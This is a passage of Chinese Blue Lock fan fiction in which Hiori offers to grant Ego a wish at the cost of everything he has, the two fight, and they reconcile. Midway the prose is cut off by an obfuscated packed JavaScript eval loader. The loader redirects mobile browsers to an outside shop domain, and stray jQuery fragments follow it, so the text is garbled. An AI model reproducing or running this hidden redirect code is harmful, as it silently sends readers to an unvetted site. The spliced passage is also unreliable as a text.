“你的愿望是什么……”

    突然被问到了这样的话,处于刚起床阶段,大脑还没启动的绘心有点发愣。

    “突然问这个?”

    他垂眸去看窝在自己怀里,温驯得不像猫的生物,因为近视的缘故,他只能眯起眼,这样看就像一种审视而非单纯的疑惑了。

    “是BLUE LOCK企划[成功]吗,是日本捧起大力神杯吗?还是证明什么,证明你的存在,你的理念,证明你可以抵达世界最高呢?”

    冰织薮抬手捧住绘心甚八的脸,“或者是,[全部]?”

    “谁要跟你这小鬼聊什么深刻话题啊,”绘心抓住了他的手腕,试图改变这个诡异的姿势,“睡醒了就去洗漱吃饭训练,赖着像什么话。”

    “只是[愿望]的话,和我聊完全没问题吧。”

    “那有什么意义。”

    “意义就是,如果我高兴的话,就会为你实现喔。”

    冰织薮露出笑脸,明明是很可爱的脸,很正常的表情,昨天看到还觉得简直是天使,但在这种时刻,对方又说这种话,就令人内心有些毛毛的。

    绘心甚八很讨厌这种失控感,他理解小朋友都会有中二期,还会有人幻想自己是人间体或者漆黑使徒之类的,薮或许是往另一个方向走的犯病。

    “这话还是说给愿意听的家伙吧,我已经过了年龄了。何况,你根本做不到吧。”

    绘心甚八不觉得打破幻想有什么不好,他向来很务实,也觉得别人应该清醒点别犯蠢,虽然他管不到那么多闲事。

    “我问你,如果,有一场至关重要的比赛,你很想要赢,你觉得输了还不如去死,只要你选择许愿,就可以赢,你会许愿吗?”

    “……”

    很想说根本就不会因为许愿就赢吧,而且这已经是过去的事情了,虽然自己现在还活着,但在某些时刻,大概会觉得跟死了没什么两样,所以,绘心甚八无法完全忽视这个问题。

    “只要你愿意,就可以赢哦。”

    薮还在那边继续强调,其实根本不需要再问了。

    “这根本没有拒绝的理由吧。”

    “所以,有代价也没关系吗?”

    “我有的东西全部都没关系。”

    绘心甚八给出了绝对的肯定答案,他不会嘲笑许愿,更不会说什么许愿得来的东西并非自己的实力,不是努力得来的东西没有意义,就算是魔鬼找上门来要跟自己交易,那也是自己遇到了魔鬼,自己付出了代价,得到结果难道不是更加理所应当的吗?

    “真是……太,让我,敬佩的答案了。”

    冰织薮捧着他的手用力,让绘心连偏过头躲开都无法做到,主动凑上去,很亲昵地蹭了蹭,,“我的话,生在普通人家会变成好孩子,要是换作那种为了改变世界而生的情况下,也会无论什么都做得到。一切的迷茫和怀疑都是源自算力不足吧,为了妈妈,只是区区世界第一的话,完全没有任何问题,只要许愿就好了。但是,”

    “我要拿走你的一切,狂喜愤怒嫉妒悲伤慷慨嗤笑暴食色欲宽容痛苦……不,还要更多,是穷尽一切之后的空虚也要给我。”

    绘心甚八反应了好一会儿,他意识到冰织薮完全没有开玩笑的意图,且从自身出发,自己真的觉得为了[愿望]付出这些东西都是合理的范畴。

    不好……没听人讲过中二病也会传染,还是自己睡昏头了,一大早起来就听薮在这边画饼。

    他想了想,手往下挪,然后——用力抽了两下坏猫的屁股。

    “醒醒,别在这边烦我,赶紧回你宿舍,再扯这些乱七八糟的小心我真要揍你了。”

    “啊啊啊啊!!!你打我?你居然打我???”

    生平第一次被这么带有羞辱意味的教训,冰织薮的起床综合征,以及难得真的想要放纵自己拿到点什么的心情,立刻被怒火和疼痛压过去,他爬起来就和绘心甚八撕打成一团,虽然体重和身高不占优势,但是他真闹起来绘心完全按不住,还真的让薮把脸挠花了,最终还是拿被子把人捂住,牢牢按着,让人冷静了半天才消停。

    “我真求你了,”绘心甚八半边脸上火辣辣地疼,甚至能感受到温热的触感,绝对是正在流血,“折腾我有什么意思,你的玩伴们呢?而且你在那边要了半天都要点什么东西啊,你要点好的行不行?”

    血顺着绘心的脸颊汇聚到下巴尖,又往下滴,落到薮的脸上——雪白的脸上带着病态的红晕,剧烈运动之后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694330|203907||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    急促的呼吸和放大的眼瞳,加上鲜血点缀,完全是激情犯罪份子的案发现场,距离正常的差距就只有正常了。

    “……你有什么好东西,给我吗?”

    “向我们的小国王呈献美味早餐,自选不限量,喏,我手机在那边,自己去点。”

    绘心甚八心情诡异地平静下来,事实上,当一个孩子不正常的时候,就要考虑一下家庭或者社会了,而且大部分情况下,除了天生反社会,孩子通常是家里病的最轻的。

    他早就应该考虑到这一点的,那种家庭里能有什么正常人啊,薮的脸还是太有迷惑性了,一度让他以为天才可能都有点不合群,现在想想,根本就是自己把他想得太健全了。

    看着安静下来,摆弄自己手机选外送的薮,对方知道自己的密码已经成为无足轻重的小事,当务之急是找帝襟了解一下她家有没有什么精神病史……

    好吧,这还是太夸张,话也说的太刻薄了,绘心甚八承认自己确实被吓到了,换做谁美美睡了一觉,睁开眼就这个情况也遭不住,现在就下定论还是太早了,薮或许还有属于正常人这个类目的风险的。

    无论如何也要原谅他吧,明知道他不是开玩笑却还是把他当作小孩子对待,一旦他有情绪就认为他在发疯……

    自己已经够能理解这种情况了,还是会忍不住这样做,那么,其他人只会更加,,,总是遭遇这种情况,再怎么忍耐也会到极限吧。

    “你要吃什么?”

    “取决于你剩点什么吧,”绘心甚八耸了耸肩膀,“反正你肯定也是每样只吃一点点。”

    “你已经不生气了。”

    这种陈述句一如既往地令人无语,听得绘心又想翻白眼了。

    “啊,也没什么好气的,说到底,应该是你更不高兴吧。”

    他膝行几步,靠近抱着腿看手机的冰织薮,伸手给人擦脸上的血,尽管越擦越糊成一片,“所以,我道歉,明明用了你的关系,你的预算方案,还使唤你干活省了七位数的算力外包预算,但是,完全没考虑过要支付什么。我承认自己的确想赖掉。”

    “……懒得跟你说这个。”

    冰织薮撇嘴,“能亏欠我的人在这个世界上根本不存在。”